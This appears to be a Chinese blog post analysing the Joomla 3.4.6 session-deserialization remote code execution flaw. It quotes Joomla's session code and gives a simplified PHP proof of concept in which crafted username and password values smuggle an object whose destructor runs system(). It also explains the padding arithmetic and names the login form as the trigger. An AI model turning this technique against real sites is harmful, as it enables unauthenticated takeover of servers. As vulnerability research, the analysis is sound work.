Joomla 3.0.0 - 3.4.6 RCE漏洞分析记录

0x00  前言

  今天早上看到了国内几家安全媒体发了Joomla RCE漏洞的预警,漏洞利用的EXP也在Github公开了。我大致看了一眼描述,觉得是个挺有意思的漏洞,因此有了这篇分析的文章,其实这个漏洞的分析老外在博客中也写过了,本质上这是一个Session反序列化导致的RCE漏洞,由于Joomla对于Session的特殊处理,导致漏洞触发并不需要登陆。因此成了Pre-auth RCE.

0x01 漏洞环境搭建 

代码下载: https://github.com/joomla/joomla-cms/releases/tag/3.4.6

    下载安装就好,要求php 5.3.10 以上,其他跟着提示走就ok 。

0x02 漏洞原理分析

  PHP对Session的存储是默认放在文件中,当有活动会话产生使用到Session时候,将会在服务端php设置好的路径写入一个文件,文件的内容为默认序列化处理器序列化后的数据。在Joomla中则改变了PHP的默认处理规则,将序列化之后的数据存放在数据库中,这步操作对应的处理函数为\libraries\joomla\session\storage\database.php 中的write:

    /**
     * Write session data to the SessionHandler backend.
     *
     * @param   string  $id    The session identifier.
     * @param   string  $data  The session data.
     *
     * @return  boolean  True on success, false otherwise.
     *
     * @since   11.1
     */
    public function write($id, $data)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

        try
        {
            $query = $db->getQuery(true)
                ->update($db->quoteName('#__session'))
                ->set($db->quoteName('data') . ' = ' . $db->quote($data))
                ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
                ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

            // Try to update the session data in the database table.
            $db->setQuery($query);

            if (!$db->execute())
            {
                return false;
            }
            /* Since $db->execute did not throw an exception, so the query was successful.
            Either the data changed, or the data was identical.
            In either case we are done.
            */
            return true;
        }
        catch (Exception $e)
        {
            return false;
        }
    }

这里我故意将注释也贴出来,很明显作者的注释意思也写得十分明确。然后取值的时候使用的操作对应的函数是read:

/**
     * Read the data for a particular session identifier from the SessionHandler backend.
     *
     * @param   string  $id  The session identifier.
     *
     * @return  string  The session data.
     *
     * @since   11.1
     */
    public function read($id)
    {
        // Get the database connection object and verify its connected.
        $db = JFactory::getDbo();

        try
        {
            // Get the session data from the database table.
            $query = $db->getQuery(true)
                ->select($db->quoteName('data'))
            ->from($db->quoteName('#__session'))
            ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

            $db->setQuery($query);

            $result = (string) $db->loadResult();

            $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

            return $result;
        }
        catch (Exception $e)
        {
            return false;
        }
    }

从代码中可以看出,在存入数据库之前,会将传入数据中的chr(0) . '*' . chr(0) 替换为\0\0\0, 原因是mysql数据库无法处理NULL字节,而protected 修饰符修饰的字段在序列化之后是以\x00\x2a\x00开头的。然后从数据库中取出来的时候,再将字符进行替换还原,防止无法正常反序列化。

但是这样会导致什么样的问题呢?我们首先需要了解一下PHP的序列化机制,PHP在序列化数据的过程中,如果序列化的字段是一个字符串,那么将会保留该字符串的长度,然后将长度写入到序列化之后的数据,反序列化的时候按照长度进行读取。那么结合上边说到的问题,如果写入数据库的时候,是\0\0\0, 取出来的时候将会变成chr(0) . '*' . chr(0), 这样的话,入库的时候生成的序列化数据长度为6(\0\0\0), 取出来的时候将会成为3(N*N, N表示NULL),这样在反序列化的时候,如果按照原先的长度读取,就会导致后续的字符被吃掉!那这样有什么问题呢?这里需要简单说一下PHP反序列化的特点,PHP按照长度读取指定字段的值,读取完成以分号结束,接着开始下一个,如果我们能够控制两个字段的值,第一个用来吃掉第一个字段和第二个字段中间的部分,第二个字段用来构造序列化利用的payload,那么执行将会把第一个字段开头的部分到第二个字段开始的为止当成第一个字段的内容,第二个字段内容逃逸出来被反序列化!!

 

说了这么多,对于理解这个漏洞已经足够了,因此我写了一个伪代码来帮助理解:

<?php

// pop 利用链
class Evil {
    public $cmd;

    public function __construct($cmd) {
        $this->cmd = $cmd;
    }

    public function __destruct() {
        // var_dump($this->cmd);
        system($this->cmd);
    }
    
}

// 模拟真实的登陆处理逻辑
class User {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    // public function __destruct() {
    //     var_dump($this->username);
    //     var_dump($this->password);
    // }
}

function write($id, $data) {
    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
    $arr = array($id => $data);
    file_put_contents("db.txt", json_encode($arr));
}

function read($id) {
    $data = file_get_contents("db.txt");
    $result = json_decode($data, true);
    $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result[$id]);
    return $result;
}

// 发送的username 值
$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";

$password = 'AAAA";'; // padding

// 构造一个fake password字段,将其内容设置为一个恶意构造的对象
$shellcode = 's:8:"password";O:4:"Evil":1:{s:3:"cmd";s:4:"calc";}';

$password = $password . $shellcode;

write("123", serialize(new User($username, $password)));

var_dump(unserialize(read("123")));

?>

 

我将这里的write和read函数简化,数据库操作部分使用文件代替,重点我们解释一下payload的构造部分:

这里使用9组\0\0\0作为第一个参数username的值,这样的话,长度将会是54,反序列化处理时候将会变成27,吃掉后续的27个字符才是username的值。

O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:7:"payload";}
";s:8:"password";s:7:" 的长度为22,\0处理完成后本身会剩下27,这样的话一共是49,还会吃掉5个字符,我们应该补5个。但是并不是这样,因此这里我写
的password的值是payload,长度是7,实际上我们的payload长度会超过10,因此生成的序列化数据就不是0-9一位数了,至少是两位数,我这里的测试案例
是刚好两位数。因此补4个字符就可以了。接着是后续的payload.关于payload的查找和利用可以参考老外的文章,这里不再赘述。

接着还有最后一个问题,反序列化触发点在哪里?这里又牵扯到Joomla的一个特性,一个未登陆的用户如果进行登陆,那么他的登陆信息也会被序列化之后存入到数据库之中。
因此这里选择登陆框进行攻击!

最后贴上一张伪代码测试成功的图:

 


Joomla中详细的处理流程和代码分析我就不写了,自己动手调试吧~~

0x03 参考资料

1. https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41

2. https://raw.githubusercontent.com/momika233/Joomla-3.4.6-RCE/master/Joomla-3.4.6-RCE.py
posted @ 2019-10-09 19:42  magic_zero  阅读(3100)  评论(2编辑  收藏  举报